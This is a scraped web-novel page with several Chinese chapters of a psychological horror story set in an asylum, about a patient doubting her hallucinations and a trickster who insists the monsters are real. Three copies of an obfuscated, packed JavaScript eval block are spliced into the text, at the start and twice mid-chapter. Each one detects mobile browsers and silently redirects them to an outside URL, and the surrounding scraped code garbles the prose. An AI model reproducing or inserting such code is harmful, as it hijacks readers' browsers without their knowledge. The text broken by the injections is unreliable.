;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872515|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带将床上的人捆得结结实实,似乎提前注射了镇静剂,这人脑袋低垂,睡得很沉。 护工路过他们身边时,林归伞瞥见此人容貌,轮廓立体,高眉骨薄嘴唇,带有混血儿的风格。 长相很凶,但闭上眼睛时有种莫名的乖巧。 胸前的名牌上写着他的名字,萧夺。 众人目送护工将萧夺推去不知名的地方,消失在视野里,这时护士长走了过来。 她拍了拍手,吸引几人注意力,“等下清洁工会把你们的房间打扫消毒,几小时内进不去。” “今天的自由活动时间改成劳动课。”她示意护士们递来扫帚抹布,“请你们帮忙,自由分工一起打扫医院卫生。” 几人陆续上前,林归伞挑了块抹布,打算擦窗。 她抬头,见陶泽与她选了同一个活计,原地犹豫了一会儿,追上去对他说:“之前的事对不起。” 陶泽头也没回,停住脚步,“对不起什么?” 林归伞差点撞在他身上,“如果不是相信了我,你应该没那么容易病情复发。” 是她徘徊在电疗室门前,引得陶泽搭话,一个被幻觉困扰分不清现实的疯子,再加上另一个妄想症好转没多久的病人。 二人的幻觉一拍即合,编织成勇闯碎石雨,火烧大巴车的一场闹剧。 陶泽冷笑,“我还以为你会说,对不起没能遵守约定,找出眼球怪物的真面目,拆了这所疯人院呢?” “如果你这样对我道歉,我也不是不能原谅你。” 林归伞张了张嘴,终是挤出声音,“没有什么眼球怪物,那是我的幻觉。” 陶泽语气敷衍,“那看样子你已经信了疯人院的那一套,好好跟怪物相亲相爱去吧,别打扰我就行。” 林归伞拎抹布站在原地,发了会儿呆,默默选了个与陶泽相反的方向。 不远处,极乐将这一幕收入眼底,他口袋里突然响起手机铃声。 打开屏幕一看,是一条来自林雨停的消息。 [世界第一好哥哥:陶泽,你做了什么,那变态医生不知道发什么疯,组织一堆清洁工擦我的分身。] [世界第一好哥哥:擦得去就有鬼了,尽拿一堆污水抹布恶心我。] 极乐:……虽然但是,霉菌也没干净到哪儿去吧? 他抽空瞥了眼忙活的陶泽,扫把往身边一拄,口哨一吹,噼里啪啦敲键盘。 [热心网友:你不能通过林妹妹的视角看到吗?] [世界第一好哥哥:负一层是疯人院核心区域,我手伸不进去,只能知道小伞还活着,活蹦乱跳,但今日心情指数不佳。] [世界第一好哥哥:谁惹她不高兴了?] [世界第一好哥哥:磨刀.jpg] 极乐:“……” 再次在心里感慨这是什么极品鬼兄,同时也安了心。 看不到负一层是件好事啊,那他就不用担心自己冒用陶泽身份,网骗一个堂堂邪神的事情暴露。 [热心网友:我不造啊,跟林妹妹稍微聊了聊,变态医生就找她约谈。] [热心网友:之后林妹妹被忽悠得更瘸了。] [热心网友:变态医生好像也生了气,组织医院大扫除。] [世界第一好哥哥:那变态生气了?你怎么做到的?] 极乐想了想,自己好像也没做什么。 不就是大摇大摆入侵医生的领域,让负一层多出来一个祂不认识的病人。 然后反过来嘲讽祂年纪大记性不好吗? 极乐笑嘻嘻地想,祂先干的。 类似的事情祂对病人做了不知多少次。 怎么轮到祂自己就不行了? 20. 第 20 章 一觉醒来,天都塌了。 极乐此时的心情大概要如此形容。 拉斐尔组织这次大扫除的目的,不是林雨停以为的被激怒,要真这么容易激怒另一尊邪神事情就好办了。 而是在祂的视角里,计划进行到一半,刚把林归伞拐到自家核心地盘。 冷不丁死对头的人冒出来,狠狠给了一个大耳瓜子。 陶泽自始至终与林雨停无关,是极乐中途截断了聊天室网线,网骗来一份眷属烙印,然后跑去拉斐尔的领域嘚瑟,做反复横跳挑拨离间之事。 家里发现一只蟑螂,说不定背地里已经有了好几窝。 打扫打扫清理有可能存在的眼线,他懂的。 但为什么要封了他的老鼠洞? 极乐呆呆地趴在墙上,看着床头已然修理好的插座,不死训顺着缝隙边沿摸了摸。 很好,严实得很,要撬开又得费老大劲。 他不要再打洞了啊! 又不是真的老鼠。 极乐发出伤心的哀嚎。 一墙之隔的地方,林归伞听着极乐那边挠墙的动静,满意勾起嘴角。 把她床头插座都给掏空了,躺床上玩手机时上哪儿充电去? [暖心病友:在?] 即将入睡前,林归伞收到了一条信息。 [SAN归零:?] [暖心病友:是我啦,极乐。] [SAN归零:我知道你是极乐,这么晚了发信息给我干嘛?] [暖心病友:猫猫卖萌.jpg] [暖心病友:想你了,睡不着。] [暖心病友:插座那个物理聊天窗口被封,只能走赛博聊天窗跟你互动。] [SAN归零:没什么事我先睡了。] [暖心病友:先别啊。] [暖心病友:一个人的晚上孤枕难眠,两个人的深夜少儿不宜。] [暖心病友:所以,请陪我出去蹦迪!] [SAN归零:有病。] [暖心病友:你应该问我食不食油饼。] [暖心网友:这样我会反过来问你有没有树枝,嘻嘻。] [SAN归零:不嘻嘻。] 林归伞揉了揉眉心,放下手机,正打算无视极乐的信息轰炸,忽然听到窗户被敲响的声音。 她眼神立刻警醒,扭头看了过去。 是极乐。 一头白发在夜里耀武扬威地粲然生辉,紫水晶似的眼眸比了个亲切的wink,雪白配色中,唯独刘海一侧别着的金色纸皇冠发卡尤为明显。 他像只夜间造访的鸟,在窗户上轻盈地用喙哆哆敲几声。 “晚上好呀~” 林归伞踩着鞋下了床,站在门口打量,“你怎么出病房的?” 极乐的手顺势落在门把上,伴随几声锁扣滑动的声响,金属网格被唰一声收起来,门扉开启一条缝。 “就这样咯。”极乐一耸肩膀,转了转护士那里摸来的钥匙串。 林归伞按住门把手,不让门板继续打开,“你偷钥匙的事我会当做没看见,时候真的不早,我实在犯困就不陪你闹了。” “你确定?”极乐歪头,眼神和语气似乎别有深意。 林归伞关门的动作一顿,沉默中,陡然注意到除了他们二人发出的声响,负一层不知何时陷入诡异的寂静。 恰如她第一次见到眼球怪物的那天晚上。 林归伞不敢相信她心中猜测,视线扫过极乐,却见到了他身后阴影中,悄无声息睁开的蓝眼睛,密密麻麻,像珊瑚虫卵。 她下意识用力关紧门,却在千钧一发之际被极乐用脚尖抵住。 “嘶——” 极乐眼角冒出泪花,“痛痛痛,你轻些,我身娇体弱经不起折腾!” 林归伞恍若未闻,尖声道:“你怎么做到的?催眠、暗示,还是用的全息投影?” 她神经质地环顾一周,想寻找可能存在的机关。 “都不是哦。”极乐平静地说,期间飞快瞥一眼肿起来的脚,麻麻木木的,已经失去知觉了。 忍住内心哽咽,他道:“我什么都没做,只是恰巧撞上了眼球怪物的捕食时间。” “没有什么眼球怪物!”林归伞眼中尽是红血丝,“那都是我的幻觉。” “幻觉?”极乐不禁冷笑,从墙上扣下一颗眼珠子一脚踩爆,“我也能看到的幻觉?” 林归伞滞了滞,随即斩钉截铁说道:“可能性很多,你翻阅过我的病历,又或者从某种渠道听说过,脑子受影响编出一模一样的幻觉。” “更甚至你根本没有看到我所见的,其实一直在表演。” 极乐敷衍鼓了鼓掌,“那我好厉害,不去当演员简直屈才了。” 他话锋一转,“这是医院方的说辞?” 林归伞迟疑点头。 极乐笑得洒脱,“被告方也是有权利为自己辩护的,法官小姐愿不愿意听我的证言?” 林归伞还在犹豫,极乐已经朝她伸出了手。 “没时间了,快上车!” 走廊尽头,巡夜的护士拖长影子,脑袋的位置裂开一条深深缝隙,显然已不再是人形。 林归伞再无推脱,将手搭了上去。 掌下的触感说不上温暖,也并不宽厚,如同一捧冰凉洁白的雪,能被捂化。 极乐像个从高塔刚拯救完被困公主的骑士,斗志昂扬一抬脚,然后险些摔了个狗啃泥。 他龇牙咧嘴,让那只失去知觉的脚休息片刻,单腿跳着往护士反方向逃离。 林归伞看得着急,索性一把揽住他的腿弯,以公主抱的姿势带着他在走廊上飞奔起来。 好在他身形尚未长开多少,不算太重。 极乐只觉视野骤然一变,眼中风景在快速倒退,呆呆睁大眼睛反应几秒,爆发出一声少女尖叫。 “你讨厌!” 虽然这声尖叫显得他无比抗拒,但极乐身体乖巧蜷缩在林归伞怀里,像只雪白大猫,软绵绵的毫无挣扎意图。 他甚至抽空探头,见护士即将追上来,分岔的前臂宛如蟹钳,利爪眼看就要钩住林归伞衣领。 “我们来玩个游戏。”极乐兴致勃勃,“石头剪刀布——” “好,你输了。”他五指成拳,往护士生有漆黑毛发的脸上来了一下子。 护士被打歪头,脚步也慢了一拍,回过神发出一声怒吼。 极乐玩出了乐趣,“再来,石头剪刀布——” 理所当然拥有五根灵活手指的他胜利,抄起一旁灭火器,给护士呲了满脸泡沫。 “第三局——” 俗话说事不过三,护士学聪明了,在极乐出拳的一瞬,扯下窗帘布一把盖在他脑袋上。 极乐眼前一黑,赶忙扯下头顶的布,睁眼就是怪物的贴脸杀。 两只不大聪明的眼睛长在脑袋两边,腥臭泛黄的满口尖牙,竖直生长的嘴却能看出明显的弧度,正冲他森然一笑。 极乐:“哦豁,翻车了。” 他跃下林归伞的怀抱,腿脚灵便,丝毫看不出受伤的模样。 游鱼一般蹿到尽头的电梯,按开电梯门,悠哉悠哉朝落后的林归伞招手,“官人,进来玩呀~” 林归伞:“……” 没了那一坨负重,她速度大幅度提升,逐渐拉开与护士的距离,冲入电梯,靠着墙轻轻喘气,眼看电梯门合上,护士只能不甘心地捶打。 叮咚。 电梯缓缓运行,从负一跳到了一楼。 金属门向两侧分开,露出空荡幽邃的走道,灯光昏暗,静悄悄的不闻人声。 极乐在林归伞反应过来前,就这么水灵灵地蹦了出去,还回过神朝她挤挤眼睛,“怎么还傻愣着不出来?” 林归伞望向他身后。 半明半暗的走廊,角落处阴影滋生,黑暗中睁开无数双蔚蓝色的眼睛,天花板,地砖,墙面,遍布每一个夹角与缝隙。 这些眼珠正一动不动盯着电梯门口的两人。 “哦,你怕这个?”极乐似乎懂了她的意思,拍拍胸口,“交给我吧。” 林归伞以为他会想出什么法子,威逼利诱这些眼睛乖乖消失。 不曾想白发少年清清喉咙,扯着五音不全的破锣嗓子,在夜色里高歌,“一闪一闪亮晶晶,满天都是小星星。” “挂在天上放光明,就像许多小眼睛。” “小眼睛啊小眼睛。” 林归伞捂住耳朵,实在难以忍受他的噪音,“你闭嘴吧你!” 极乐被他吼得一缩脖子,超级委屈,“我这不是想给你点心理安慰吗?” “你看你看。”他招呼林归伞,“像近视眼一样眯起眼睛,你会发现这些大眼珠子还怪好看的,星星点点的蓝色,真的很像星空。” 林归伞没有照他说的做,但已经不再排斥。 她有的时候真不明白极乐这人,应该说从来就没明白过,跟怪物玩猜拳,将遍布眼球的走廊视作一条星河。 深陷幻觉被周围人视作疯子,还能笑得这么开心,应该用没心没肺来形容的品质。 但她更愿意将其视作一抹乐观的幻想色彩,不自禁有些向往。 “接下来打算怎么做?”林归伞主动询问。 “烤了眼球怪物的大翅膀子。”极乐放出豪言,“不过我还不知道祂在哪儿。” 林归伞轻笑,“我带路。” 极乐顿时欢呼雀跃,“好耶! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882088|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻狍子小姐万岁!” 林归伞无奈发现,她已经习惯极乐给自己一天换一个的奇怪外号,“叫我傻狍子又是为什么?” “因为你容易被忽悠。”极乐笑吟吟地说,“直到现在还相信这些都是你的幻觉吗?” 林归伞顺着他下巴微抬的方向看去,蔚蓝的眼球形似海水中的发光藻类,竟有种如梦似幻的氛围。 “世界上没有怪物,幻觉更符合逻辑。”她低声道。 极乐不屑地说:“科学家都没否认外星人的存在,你就急着否定怪物了?” “再说谁告诉你怪物不符合逻辑的?” 极乐淡淡道:“别忘了怪物有一条设定,是能肆意篡改现实与人们的记忆认知。” “按照这样的世界观,无论发生什么不可思议的事都是合理的,没错,就是耍赖一样蛮不讲理。” “反倒是你所认定的现实——” “林大宝贝儿。”极乐鸽羽似的眼睫往上一扫,紫眸折射一点凛冽的光,“你有没有想过一个问题。” 他语速慢吞吞的,似乎特意留时间给林归伞思考,“你杀害父母的动机是什么?” 林归伞在他的逼视下恐惧后退,扶到了墙壁,掌心是眼球微带湿润的触感,活物般微微滚动。 她拼命告诉自己保持冷静,颤声回答,“因为父亲出轨,母亲对此视而不见。” 极乐轻嗤一声,慢慢朝她走近,“你是这种因家庭不美满,就动手杀人的完美主义偏执狂性格吗?” 林归伞张了张嘴,声音细弱,“……我觉得不是。” “这不就结了?”极乐笑了起来,摊手说,“你不妨暂时摒弃负罪感仔细思考,一切究竟是怎么发生的?” 林归伞头脑发胀,每当回忆那些血腥的记忆,就会被痛苦淹没。 幻觉里,她将林雨停视作偷窥狂。 其实是现实中,林雨停察觉她发现父亲出轨一事,过度关照愈加刺激她脆弱的神经,致使那桩惨案的发生。 不对。 逻辑上似乎说通了,可还是有哪里不对。 首先她并不觉得自己是为了这种理由杀害父母的偏执狂,其次如果林雨停真的是关心妹妹的好哥哥。 为什么发现父母的龌龊后,兄妹俩不报团取暖,而是林雨停单方面提防她? 为什么医生说警察那边检查她的身体,确实有做那种事的痕迹? 当时林归伞刚被医生点破真相,脑子混乱,出于愧疚不敢继续怀疑林雨停,才胡乱找了个理由,说是自己为了发泄痛苦而强迫养兄。 如果她不是无缘无故将林雨停视作怪物—— 林归伞眼睛徒然睁大,两套截然相反的真相对抗拉扯,几乎将她整个人撕裂成两半。 极乐就站在离她不远的地方,静静旁观。 “怪物的世界观不存在逻辑漏洞,反观人类的世界里,错漏百出。” 他打了个响指,“你该醒了。” “三更半夜觉都不睡,何谈苏醒?” 忽然间,一道锋利如刀的嗓音从他背后斜刺而来。 极乐瞳孔紧缩,回头。 拉斐尔白大褂穿得一丝不苟,银边眼镜反射月辉的弧光,金发落在那双蔚蓝的眼眸,如冰冷深海涌动的一束暖阳。 他唇边噙着浅浅的笑,手还插在口袋里,“林小姐,你该跟我回去了。” 极乐猛然拽住林归伞的手,被她一根根掰开指关节。 他垂下眸子,看到了自己空空如也的掌心。 拉斐尔的到来在意料之中,他事先要求林雨停吸引注意力,才争取来这么点时间。 此次失败了也没关系。 怀疑的种子他已经在林归伞心底埋下。 …… 可当第二天,他再次见到林归伞时,极乐在她的眼中已不见半点对自己的信任。 “医生又对你说了什么挑拨离间的话?”他拧巴着脸问。 林归伞摇摇头,“拉斐尔医生没说什么,只是带我去看望了一个刚抢救回来,如今还昏迷不醒的病人。” “你认识的。”她说,“那个听信你言语挑唆,自杀的病人。” 极乐简直莫名其妙,“你在说什么?” “我都告诉你了,那是怪物凭空甩给我的黑锅!” 林归伞拔高了声音,“我怎么知道你是不是在撒谎?” 她情绪平复了一些,冷静叙述,“我只知道,自杀的那个人,当着我的面送来医院抢救。” “他浑身是血,脸色白得像鬼,手腕上血糊糊的一片,看得见骨头!” 林归伞喘了口气,目光极为挣扎。 “你要我怎么相信那套怪物论,对他的存在视而不见?” 21. 第 21 章 “我根本没有做挑唆他人自杀的事,那是怪物在污蔑我!”极乐一再坚持。 “你信了,就是上了祂的当。” “让那个自杀者沦落如此境遇的,分明是那个怪物,是这所疯人院,林归伞,你这叫颠倒黑白。” 林归伞闻言,感到好笑似的轻嗤一声,“不由分说就把我打上标签了。” “你当初也是这么对待谢言竹的?” 那个自杀者的名字? 极乐心底忽然生出一股荒唐感,他还是听林归伞说,才知道自己这个受害者的姓名。 “行。”他深深吐了口气,心知这样下去谁也说服不了谁,“退一万步来讲,你有什么证据控告我,用什么理由驳倒我的怪物论?” 林归伞没有急着回答,搬来一张椅子坐在极乐对面。 与拉斐尔医生探望谢言竹后,是她主动要求见极乐一面,为怪物论画上一个句号。 她还算心平气和,只目光清凌凌的,审犯人一样盯着对面不放。 “证据的话,医院和警方都有,应该不需要我多赘述。” “不。”极乐出乎意料地否认了,“我需要。” 见林归伞微动的眸光与自己对视,他往后一仰靠在椅背上,坐姿也不老实,两条无处安放的腿盘在一起。 “都说了是怪物在凭空污蔑,所以对那个姓谢的,我还真就一点都不清楚。” 林归伞神色未变,“那我就更不应该告诉你,对无关之人泄露隐私。” 极乐鼓起了腮帮子,才多久,这姑娘也变得伶牙俐齿了。 近朱者赤,近墨者黑? 那肯定跟变态医生学的,绝对不是他。 “至于你说的怪物论。”林归伞慢条斯理,“我找不到理由进行驳斥。” 极乐高兴得快从座位上跳起来,“你看,我赢了吧。” “只要你没办法否认怪物论,你所认定的现实就是摇摇欲坠的空中楼阁,因为没有支撑它的根基。” 林归伞从容不迫地说:“我无法驳斥怪物论,因为它的逻辑简直是在耍赖。” “怪物能肆意篡改现实,以至于他人的记忆和认知,所以无论发生什么看似不可能的事,理论上都是可能的。” “这就是一套耍无赖的理论,放弃思考,将什么事都抛给怪物。” “谢言竹自杀是祂们恶意操纵的,陶泽的苦难由祂们刻意安排,就连我杀害父母——” “其中也有祂们的影响。” “这就是你想要告诉我的?”林归伞唇角勾了勾,反问极乐。 极乐小鸡啄米点头,“既然你都知道了,那——” “我不知道。”林归伞骤然打断他的话音,“我只明白如果相信了怪物的存在,就是一场彻头彻尾心理上的逃避。” “多么合理的借口?”她笑道,“只要将一切抛给怪物,心情一下子就轻松了。” “挺好的呀。”极乐笑眯眯地说,“反正你也分不清幻觉和现实,选择让自己更轻松的那边不好吗?” 林归伞话语戛然而止,观察极乐的神情,没有半分作假,他是真的这样认为。 她忽然想起拉斐尔医生前几天找她的谈话。 撕破那幅温和的假象,用强硬而冰冷的语气告诉她,为了消除她的负罪感,进一步杜绝幻觉出现。 他会考虑歪曲她的三观,让她接受杀害父母的事,并视作理所当然。 拉斐尔的治疗方法,某种程度上与极乐的怪物论如出一辙。 都是无视现实的自我欺骗。 不同的是,拉斐尔只停留在口头说说,没有做出相应行动。 现在想来,许是医生早就料到极乐的行为,用反激将法提前给她打预防针。 不然林归伞觉得自己真的会被极乐说服。 她摇了摇头,回答先前的问题,“我只是做不到麻痹自我。” “你知道吗?拉斐尔医生跟我说,已经为你准备好了隔离室。”林归伞忽而提及。 极乐眸光微凝,蹙眉显得很烦躁。 林归伞却笑了笑安慰他,“不过用不着担心,我跟医生说依旧坚持留你在隔壁。” “因为大扫除的时候,我看到了那个穿拘束衣的病人,那么大一个人可怜兮兮被绑在病床上,手脚都难活动,一出门还得打镇静剂。” “我同情你,不想让你沦落到那种地步。” 极乐扯起嘴角,“那还真是谢谢了。” “不用着急谢我。”林归伞毫不留情道,“另一个原因是,我告诉医生从今往后不再信你一句话。” 极乐笑容霎时僵硬住,颇有些狼狈。 林归伞放缓了声音,“我觉得你不是出于恶意才挑唆人自杀,你只是有病,病得比我们所有人都深。” “用乐观的幻想武装心灵,欺骗自己相信这个世界上有怪物。” “真正该醒一醒的是你!” 林归伞起身,陡然拉近与极乐的距离,直视他一字一顿道:“我不管怪物那边是晴是雨。” 她手指点了点脚下,“这里才是我认定的现实。” ——聊天频道—— 热心网友:完了,芭比Q了。 世界第一好哥哥:又发生什么事了? 世界第一好哥哥:先说好,昨晚为了给你拖延时间,我直接找变态医生打了一架。 世界第一好哥哥:你要是没有相应的收获,后果你懂的。 热心网友:……好嘛,这下是彻底完了。 热心网友:林妹妹已经放话说,不再相信我的任何一个字。 热心网友:哭哭.jpg 世界第一好哥哥:我会怀念你替我做事的日子。 热心网友:裁员这种事情不要啊! 世界第一好哥哥:那就告诉我前因后果。 热心网友:本来我找到变态医生编造的虚假记忆,其中暧昧不清的逻辑漏洞,差一步就要唤醒林妹妹。 热心网友:关键时候医生回来了。 世界第一好哥哥:你想说掉链子的是我咯? 热心网友:哪有,我没这么说,是你擅自认为而已。 世界第一好哥哥:呵。 世界第一好哥哥:继续,小伞后来怎么样了? 热心网友:变态医生给我甩了口锅,说我害得一个病人自杀。 热心网友:功败垂成,说服进度条直接归零,还惨遭禁言封号的待遇。 世界第一好哥哥:就因为这种原因? 热心网友:早就想说了,跟你比起来,变态医生真的是一尊精通人性的邪神。 热心网友:其实林妹妹并没有相信怪物存在,也没相信祂们不存在。 世界第一好哥哥:在说什么屁话? 热心网友:林妹妹只是选择了其中一方,认定为现实。 热心网友:现实平淡无奇,现实逻辑缜密。 热心网友:现实是人们一厢情愿的认定,只有沉重的东西才配叫现实。 热心网友:自杀者一条生命的重量,彻底奠定了天平两边的高低。 世界第一好哥哥:听不懂。 热心网友:…… 热心网友:变态医生三句话,让一个女人为祂变成二百五。 世界第一好哥哥:这下听懂了。 世界第一好哥哥:算上安全门那次,这已经是你第二次失败。 世界第一好哥哥:事不过三不需要我提醒吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890696|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 世界第一好哥哥:你不干了,也有的是人接替你的位子。 热心网友:…… 热心网友:堂堂邪神,竟然被人类资本家腌入味。 热心网友:快告诉我这是在做梦。 世界第一好哥哥:那你够惨的,梦里还要被我压榨。 热心网友:错觉吗?总感觉你对我犀利了不少。 世界第一好哥哥:恐怕不是。 世界第一好哥哥:小伞拥有我的心脏,心意相通,她对你的态度自然会影响到我。 热心网友:行叭。 热心网友:第三次机会我依旧需要你的协助。 世界第一好哥哥:说。 热心网友:你能不能与变态医生对抗,修改那个自杀者的记忆? 世界第一好哥哥:首先我手伸不到那么长,无法触及疯人院核心的负一层。 世界第一好哥哥:其次,修改人类认知的事,我没那么擅长。 世界第一好哥哥:这是门精细活儿,就像掰一根铁丝,力气用得大了,方向来回反复拉扯几次,铁丝就会断。 世界第一好哥哥:倒时候就成救不回来的疯子,我让你唤醒小伞,而不是我亲自上也是这个原因。 世界第一好哥哥:那变态与其说篡改小伞的记忆,更像放大或者诱骗她心中某个念头。 世界第一好哥哥:最好不靠外力,让她自己醒悟过来。 热心网友:……我一直以为是变态医生为了pua林妹妹,才给她安上杀害双亲的罪名。 热心网友:所以林父林母,到底是谁杀的? 世界第一好哥哥:…… 世界第一好哥哥:拉斐尔虽然性格恶劣至极,谎话连篇,但他的谎言中总是包含真实的成分,才让人轻易相信。 热心网友:果然,林妹妹杀亲的罪名不是莫须有的。 世界第一好哥哥:他们不是小伞的父母! 热心网友:好好好,不聊这个话题。 热心网友:既然你的手伸不进疯人院,那院外的世界呢? 世界第一好哥哥:随心所欲,为所欲为。 热心网友:诶,我有一个点子。 热心网友:拯救林妹妹大作战.txt 世界第一好哥哥:看完了。 世界第一好哥哥:不得不说,你对自己这么狠的? 热心网友:反正这个世界早就完蛋了不是吗?疯人院是变态医生一手打造的地狱,而地狱之外空空如也。 世界第一好哥哥:…… 热心网友:还有,为了效果更逼真,你可以收回我的眷属烙印,放任我重新被变态医生洗脑。 世界第一好哥哥:你确定?就不怕我顺势放弃你吗? 热心网友:成败在此一举呗。 热心网友:如果这次没成,你都不需要管我,省事省心。 热心网友:但要是成了。 热心网友:千万记得捞我一把QAQ。 世界第一好哥哥:我尽量。 —— 极乐退出了聊天频道,在心里预估了一下计划可行性。 大体上没问题。 这不仅是“陶泽”的第三次机会,也应该是他最后一次尝试唤醒林归伞了。 眷属烙印被收回,意味着他、林雨停还有拉斐尔三人,其中任意两方碰面,他的身份就将暴露无遗。 唉,之后该躲着点拉斐尔了。 想着,他切换账号,给林归伞兴冲冲发过去几条信息。 [暖心病友:我是不会轻言放弃的。] [暖心病友:谢言竹的自杀绝对不是受我挑唆。] [暖心病友:等我找到证据。] 22. 第 22 章 “我趁医生不在的时候,偷偷去他办公室翻看了电脑,了解一些有关谢言竹的事。” 饭堂里,极乐端着餐盘一屁股坐在林归伞身边,鬼鬼祟祟望了一圈盯梢的护士,压低声音说。 林归伞夹筷子的动作一顿,置若罔闻,加速吃完最后几口饭菜,起身就走。 极乐呆呆看着她潇洒的背影,再看自己一口未动的饭食。 浪费粮食不可取。 他表情立时严肃起来,狼吞虎咽扒拉完食物,腮帮子撑得跟仓鼠有得一拼,赶忙追了上去。 “耶言唔……哇咦吔噫……嗷呜嗷呜嗷。” 极乐一本正经地说,跟在林归伞身后,两人竞走似的脚步越来越快,都要飞起来。 直到林归伞率先进门,嗙一声一门板摔在他鼻子上。 极乐咽下最后一口饭菜,委屈吧啦吐出最后几个字,“他患有多重人格,其中一个人格才具有自杀倾向。” 林归伞飞快反锁房门,后背紧贴门板,听到了极乐终于不再含糊不清的话。 多重人格这件事,她并不知情。 拉斐尔医生带她探望谢言竹时,只告诉她此人病情曾反复发作,过了一段时间的稳定期,判断他基本痊愈后,回到家没多久再次复发,然后割了腕。 具体是什么原因医生没透露,但那涉及病人隐私,林归伞也没多问。 “我说过,不再相信你任何一个字。” 谢言竹就是她的前车之鉴,作为极乐的上一任邻居,病情反复只怕多亏这位病友的功劳。 林归伞反思自己,她也曾多次被极乐说动,换来的结果就是好不容易学会忍耐,无视怪物的存在,如今又变得在幻觉下不堪一击。 “唉,你这人——” 极乐算是体会到拉斐尔的感受了,脑袋倔得像头驴,怎么说也不听。 他哐哐敲门,“社区送温暖,物业□□。” “小兔子乖乖,芝麻开门。” “再不开门护士就要来查房,把我逮住了怎么办?” 林归伞坚定不移抵着门,忽然身子不受控制往后一滑,即将摔倒前被人扶住。 “谢谢。”她下意识说,反应过来不该有第二人存在后,猛然扭头。 极乐不知何时强行拉开了门,从缝隙里伸来一条手臂,朝她露出一口白牙。 “每次偷钥匙太麻烦,我就上网自学了撬锁的本事,不过也就能对付这种老式锁。” 他自顾自大摇大摆踏入病房,贴心地反锁房门,比了个噤声的手势,“千万别告诉那群护士,否则换上电子锁我就老实了。” 林归伞面无表情,反手一巴掌拍向紧急呼叫按钮。 啪! 极乐抢先一步捂住按钮,导致手背遭受一记重创,“嘶——” 他眼泪哗一下飚出来,新雪发丝与白皙肌肤之间,眼尾多了一圈艳丽的红。 “我说完谢言竹的事就走。”极乐带着浓浓鼻音。 他脸长得嫩,年纪本来也比她小,纸皇冠的发卡彰显平日的童趣心。 林归伞陡然生出罪恶感,便没阻止他的叽叽喳喳。 极乐清了清嗓子,掏出手机边看边念。 “谢言竹,二十七岁的哲学与经济学双学位博士,曾担任一所名校的副教授,哇,高知识份子。” “还有教授这身份简直是我的天敌。” “谢言竹所在的谢家就是我们口中的豪门,家世好不说自己还有本事,人生顺风顺水,切,这种人我最讨厌了。” 林归伞:“……” 对上她微妙带有嫌弃意味的目光,极乐撇了撇嘴,“世界上天之骄子这么多,怎么就不能给我一个名额?” 林归伞:“别废话,还有你确定这是病历的内容?” “不是啊。”极乐理直气壮,“这些事病历上没写,更不可能写,是我推测他出身不简单上网查到的。” 他晃了晃手机屏,“病历上写的,是他自小接受极端严酷的精英教育,且家庭关系不睦,对父母渴求的认同感转化成对完美履历的追求。” “心理压力日复一日,年复一年地积攒,像气球一样越胀越大,最后因为一件事,砰地爆炸了。” 极乐两只手比划完,叹气说:“他熬夜开车撞死了一个人。” 林归伞一愣。 “还是个小孩。”极乐补充,语调十分平静,“我找到了事故记录,是小孩闯红灯在先,法院判下来他的责任也不高。” “但这小孩的父母贪他家世,想要讹一笔赔偿金,闹事闹到了学校。” “咱们谢教授就这样被辞退,回到家那些牛鬼蛇神的私生子,一个个也开始蠢蠢欲动。” “别问我名门公子哥为啥处理不了一桩车祸,他现在的母亲是继母,爹不疼娘不爱,压根不受家里任何人待见。” 极乐淡淡地说:“完美的履历上多出一笔污点,事业家庭,他拥有的东西全没了。” “心态崩了一地,人格也碎得七零八落。” “其中一个人格甚至还具有自杀倾向,医院给出的治疗方案是首先针对这个人格单独安抚。” “多次尝试无果后,他们决定消灭这个人格,再让剩下的人格融合。” 极乐捏着下巴,饶有兴趣道:“看来这个人格虽然想自杀,却是个耐活王,病情反复的原因就是他没有被根除。” “然后呢?”林归伞出声,“你要是说完了就可以走了。” 极乐扭头看她,眼中充斥控诉,“你就不发表任何感想吗?” 林归伞笑了一下,“还要我重复吗?我不会再相信你说的任何一个字。” 极乐气得胸膛像沙?鸟求偶一样鼓了起来,跳脚说:“我先前问你,你杀害父母的动机是什么?看你也不像一个完美主义杀人狂,呃——” 他脖子被一把掐住,林归伞眉目压得阴沉,语气极为冰冷,“你再多说一个字,我就……” “你就什么?”极乐一副死猪不怕开水烫的模样,“一看就知道你没威胁过人。” “……抱歉,刚刚不是故意惹你生气。”他主动服软道歉,“但你好好想一想,我说的也并非全无道理,你缺乏决定性的作案动机,医生的那套说法有漏洞。” “我不求你立刻相信我,好吧,看你这样信任求也求不来。” 极乐耸肩,“我的怪物论并不是完全耍赖,怪物可以修改记忆认知,但不能凭空捏造一个,所以总有无法自洽的地方,就像你所认定的现实存在漏洞。” 